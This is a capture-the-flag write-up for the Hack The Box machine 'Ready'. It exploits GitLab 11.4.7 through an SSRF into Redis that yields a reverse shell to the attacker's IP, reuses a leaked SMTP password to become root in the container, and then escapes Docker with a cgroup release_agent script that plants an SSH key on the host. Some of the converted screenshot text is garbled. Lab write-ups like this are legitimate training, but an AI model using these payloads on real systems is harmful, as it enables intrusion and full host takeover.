

Scanning

Nmap

Ports Open

- 22
- 5080

Starting Nmap 7.91 (https://nmap.org) at 2021-05-14 09:48 IST
Nmap scan report for ready.htb (10.10.10.220)
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
<pre>256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)</pre>
5080/tcp open http nginx
http-robots.txt: 53 disallowed entries (15 shown)
/ /autocomplete/users /search /api /admin /profile
/dashboard /projects/new /groups/new /groups/*/edit /users /help
_/s/ /snippets/new /snippets/*/edit
http-title: Sign in \xC2\xB7 GitLab
_Requested resource was http://ready.htb:5080/users/sign_in
_http-trane-info: Problem with XML parsing of /evox/about
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submi
TCP/IP fingerprint:

```
OS:SCAN(V=7.91%E=4%D=5/14%OT=22%CT=1%CU=37641%PV=Y%DS=2%DC=T%G=Y%TM=609DFA2
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(01=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%0=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
```

```
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
TRACEROUTE (using port 110/tcp)
```

HOP RTT ADDRESS

1 210.02 ms 10.10.14.1

2 208.88 ms ready.htb (10.10.10.220)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 45.41 seconds

Enumeration

port 5080

			Sign in · GitLab — Mo	ozilla Firefox					
🖊 Sign in · GitLab	× +								
← → ♂ ଢ	0 💋 10.10).10.220 :5080/users/sig		⊠ ☆		a 🤉 🙂 💈	🛛 🥹 🔮 🗧		
赵 Getting Started 🛭 😚	Hack The Box	🖨 Start 🔉 Parrot OS	🖨 Community 🖨 G	Git 📑 CryptPad	🕥 Docs 🕴 🛅]Learn » 🗎 C)ther Bookmarks		
			₩						
GitLab C	ommu	nity Editior	٦	Si	ign in	Regist	ter		
Open source software to collaborate on code				Full name	Full name				
Manage Git reposi	itories with fin	e-grained access contr	ols that keep your						
requests. Each project can also have an issue tracker and a wiki.				Username	Username				
				Email					
				Email confi	irmation				
creating a n	New use	r							
~							1		

Ope	en source s	oftware to	o collaborate	on code
	il source s	on tware t	στοπαρογαίε	oncouc

Manage Git repositories with fine-grained access controls that keep your code secure. Perform code reviews and enhance collaboration with merge requests. Each project can also have an issue tracker and a wiki.

Full name	
edger thomas	
Username	
edger	
Username is available.	
Email	
edger@ready.htb	
Email confirmation	
edger@ready.htb	
Password	
•••••	
Minimum length is 8 characters	

Register

Explore Help About GitLab

Logged in

🔴 🕘 🗧 Projects · Dashb	oard · GitLab — Mozilla Firefox
♦ Projects · Dashboard · Git ×	
← → C ☆ 0 2 10.10.10.220:5080/dashboard/project:	s ···· 🖂 🏠 🗈 🙆 🖉 🔄 🗧
🌢 Getting Started 😚 Hack The Box 🜐 Start 🔊 Parrot OS 🖨 Comm	nunity 🖨 Git 🐧 CryptPad 🕥 Docs 🛛 🛅 Learn » 🛅 Other Bookmarks
₩ GitLab Projects ✓ Groups ~ Activity Milestones Snippets	🖿 🖬 🗸 Search or jump to 🔍 🗘 🕅 🗠 🤶
Projects	
Project 'edger thomas / test' is in the process of being deleted.	
Welcome to GitLab Code, test, and deploy together Image: Create a project Projects are where you store your code, access issues, wiki and other features of GitLab.	Create a group Groups are the best way to manage projects and members.
) On further evaluating gitleb	

On further exploring gitlab

version 11.4.7

GitLab Community Edition 11.4.7 update asap

GitLab is open source software to collaborate on code.

Manage git repositories with fine-grained access controls that keep your code secure.

Perform code reviews and enhance collaboration with merge requests.

Each project can also have an issue tracker and a wiki.

Used by more than 100,000 organizations, GitLab is the most popular solution to manage git repositories on-premises. Read more about GitLab at about.gitlab.com.

Check the current instance configuration

GitLab Documentation

Quick help

Gitlab 11.4.7

Exploits

https://www.exploit-db.com > exploits *

GitLab 11.4.7 - Ruby webapps - Exploit Database

14-Dec-2020 — GitLab 11.4.7 - Remote Code Execution (Authenticated) (1). CVE-2018-19585CVE-2018-19571 . webapps exploit for Ruby platform. Watching the video will help

https://www.youtube.com > watch

GitLab 11.4.7 Remote Code Execution - Real World CTF 2018 ...



Video write-up about the Real World CTF challenge "flaglab" that involved exploiting a **gitlab** 1day. Actually ... 21-Apr-2019 · Uploaded by LiveOverflow

a lot for understanding concept

Github reposistory of gitlab ssrf-redis-RCE is found

https://github.com/jas502n/gitlab-SSRF-redis-RCE

☐ jas502n / gitlab-SSRF-redis-RCE		•
<> Code (!) Issues 11 Pull requests	➢ Actions ^{□□} Projects ^{□□} Wiki	Security Insights
ਈ master → ਇ 1 branch । ⊙ 0 tags		Go to file Add file - Code -
jas502n Update README.md		fde19ee on 24 Apr 2019 317 commits
gitlab-docker	update	2 years ago
GitLab-SSRF-RCE.jpg	Add files via upload	2 years ago
README.md	Update README.md	2 years ago
gitlab_ssrf.jpg	Add files via upload	2 years ago
🗅 push.sh	update	2 years ago
i≘ README.md		

SSRF targeting redis for RCE via IPv6/IPv4 address embedding chained with CLRF injection in the git:// protocol.

By following the instruction in the github we would able to get a reverse shell.

register user test

gitlab vuln: >>import project>> Repo by URL >> Git repository URL (ipv6 Bypass block url)

```
Example:
127.0.0.1:6379 >> [0:0:0:0:0:ffff:127.0.0.1]:6379
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git
```

POC:

multi

```
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\
exec
exec
exec
```

Burpsuite request

```
POST /projects HTTP/1.1
Host: 10.10.20.166:5080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, en-US;q=0.5, en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 794
Referer: http://10.10.20.166:5080/projects/new
Cookie: _gitlab_session=80f61bbe6eb0cb660da73e61dbb6b860; sidebar_collapsed=false; event_filter=all
X-Forwarded-For: 127.0.0.2
Connection: close
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=p7JycLd%2FiS7nEk30Ahi2i8oyEodZJ0V%2BBhCWtnKMMauqjInDAYedeS%2BWL%2F8
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\
exec
exec
exec
&project%5Bci_cd_only%5D=false&project%5Bname%5D=&project%5Bnamespace_id%5D=2&project%5Bpath%5D=ssrf&
```

Exploitation

Encode Poc

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":
[\"class_eval\",\"open(\' setsid python /tmp/nc.py 10.10.14.132 1234
\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513
exec
exec
exec

Encoded using Cyberchef



elect for new project



Create a group

Groups are the best way to manage projects and members.

Explore public projects

Create a project

other features of GitLab.

There are 1 public projects on this server. Public projects are an easy way to allow everyone to have read-only access.

Projects are where you store your code, access issues, wiki and

Learn more about GitLab

Take a look at the documentation to discover all of GitLab's capabilities.

• Step 2. Import Project

≣

Blank project	Create from template	Import project
Project name		1
My awesome project		
Project URL	Project slug	/
http://10.10.10.220:5080/edger/	my-awesome-proje	ect
Want to house several dependent projects unde	er the same namespace? Create a group.	
Project description (optional)		

Description format

Visibility Level 🔞

○ A Private

Project access must be granted explicitly to each user.

• Step 3. Import by git url

Projects

New project	Blank project			Create from template		Import project	
A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), among	Import project from						
other things. All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings.	💖 GitLab export	GitHub	🗑 Bitbucket Cloud	Bitbucket Server	₩ GitLab.com	G Google Code	🕷 Fogbugz
	ফি Gitea git Repo	by URL) Manifest file				
Fip: You can also create a project from the command line. Show command							

lenu 🤹 aju@ParrotOs: ~ 👘 [Binaries] 🧰 notes - Obsidian v0.11.13 😆 New Project - GitLab — ... 🕹 Hackthebox Ready writ...

۲.

127

• step 4 start a netcat listner your machine

```
┌──(aju⊕ParrotOs)-[~/HTB/ready]
└─$ nc -nvlp 9001
listening on [any] 9001 ...
```

• step 5 paste encode poc and git url

Tip: You can also create a project from the command line. Show command

Git repository URL

1%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git

- The repository must be accessible over https:// or git://.
- If your HTTP repository is not publicly accessible, add authentication information to the URL:

https://username:password@gitlab.company.com/group/project.git.

- The import will time out after 180 minutes. For repositories that take longer, use a clone/push combination.
- To import an SVN repository, check out this document.

Project name							
test							
Project URL	Project slug						
http://10.10.10.220:5080/edger/	ssrf						
Want to house several dependent projects under the same namespace? Create a group.							
Project description (optional)							
Description format							

create new project

Recievied a reverse connection as git from gitlab

```
(aju@ParrotOs)-[~/HTB/ready]

_$ nc -nvlp 9001

listening on [any] 9001 ...

connect to [10.10.14.132] from (UNKNOWN) [10.10.10.220] 37210

which python

python3 -c 'import pty; pty.spawn("/bin/bash")'

git@gitlab:~/gitlab-rails/working$
```

Escalating

Checking whether inside a docker

```
git@gitlab:~/gitlab-rails$ cat /proc/self/cgroup
cat /proc/self/cgroup
l2:memory:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
l1:rdma:/
l0:cpuset:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
9:blkio:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
8:cpu,cpuacct:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
6:net_cls,net_prio:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
5:freezer:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
4:pids:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
3:devices:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
2:perf_event:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
1:name=systemd:/docker/Teb263389e5eea068ad3d0c208ea4dd02ba86fa0b2ebd44f63adc391351fba6d
0::/system.slice/containerd.service
```

from this it confirmed we are in docker

Escalating

On reading config files

```
gitlab rails['redis queues instance'] = nil
 gitlab rails['redis queues sentinels'] = nil
 gitlab rails['redis shared state instance'] = nil
# gitlab rails['redis shared sentinels'] = nil
### GitLab email server settings
###! Docs: https://docs.gitlab.com/omnibus/settings/smtp.html
###! **Use smtp instead of sendmail/postfix.**
# gitlab rails['smtp enable'] = true
 gitlab rails['smtp address'] = "smtp.server"
# gitlab rails['smtp port'] = 465
# gitlab rails['smtp user name'] = "smtp user"
gitlab rails['smtp password'] = "wW59U!ZKMbG9+*#h"
# gitlab rails['smtp domain'] = "example.com"
# gitlab rails['smtp authentication'] = "login"
# gitlab rails['smtp enable starttls auto'] = true
# gitlab rails['smtp tls'] = false
###! **Can be: 'none', 'peer', 'client_once', 'fail_if_no_peer_cert'**
###! Docs: http://api.rubyonrails.org/classes/ActionMailer/Base.html
# gitlab rails['smtp openssl verify mode'] = 'none'
# gitlab_rails['smtp_ca_path'] = "/etc/ssl/certs"
# gitlab rails['smtp ca file'] = "/etc/ssl/certs/ca-certificates.crt"
## Container Registry settings
```

git@gitlab:/opt/backup\$ ls

ls

docker-compose.yml gitlab-secrets.json gitlab.rb

- # gitlab_rails['smtp_enable'] = true
- # gitlab_rails['smtp_address'] = "smtp.server"
- # gitlab_rails['smtp_port'] = 465
- # gitlab_rails['smtp_user_name'] = "smtp user"
- # lab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
- # gitlab_rails['smtp_domain'] = "example.com'
- # gitlab_rails['smtp_authentication'] = "login"
- # gitlab_rails['smtp_enable_starttls_auto'] = true
- # gitlab_rails['smtp_tls'] = false

Root on Docker

git@gitlab:/opt/backup\$ su su Password: wW59U!ZKMbG9+*#h

User flag

root@gitlab:/home/dude# cat user.txt

cat user.txt

e1e30b052b6ec0670698805d745e7682

root@gitlab:/home/dude#

In order to get root flag we need to find some way to escape from docker

Docker Escaping

On Researching found a blog

https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

- made ssh keys and copy id_rsa.pub to the script
- made a script doces.sh

```
mkdir /tmp/doces && mount -t cgroup -o rdma cgroup /tmp/doces && mkdir /tmp/doces/x
echo 1 > /tmp/doces/x/notify\_on\_release
host\_path=\`sed -n 's/.\*\\perdir=\\(\[^^,\]\*\\).\*/\\1/p' /etc/mtab\`
echo "$host\_path/cmd" > /tmp/doces/release\_agent
echo '#!/bin/sh' > /cmd
echo 'echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDArX' > /root/.ssh/authorized\_keys" >> /cmd
chmod a+x /cmd
```

sh -c "echo \\\$\\\$ > /tmp/doces/x/cgroup.procs"

start a server

Download the script in the docker and change permission

```
root@gitlab:~# wget 10.10.14.132/doces.sh
wget 10.10.14.132/doces.sh
--2021-05-14 06:11:33-- http://10.10.14.132/doces.sh
Connecting to 10.10.14.132:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 942 [text/x-sh]
Saving to: 'doces.sh'
doces.sh 100%[======>] 942 --.-KB/s in 0.04s
2021-05-14 06:11:34 (21.4 KB/s) - 'doces.sh' saved [942/942]
root@gitlab:~# chmod +x doces.sh
chmod +x doces.sh
root@gitlab:~#./does.sh
```

Root

SSH into machine using our id_rsa

[---(aju⊛Parrot0s)-[~/.ssh] └\$ ssh -i id_rsa root@10.10.10.220

255 ×

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

- * Documentation: https://help.ubuntu.com
- * Management: https://landscape.canonical.com
- * Support: https://ubuntu.com/advantage

Last login: Thu Feb 11 14:28:18 2021 root@ready:~#

root@ready:~# cat root.txt
b7f98681505cd39066f67147b103c2b3
root@ready:~#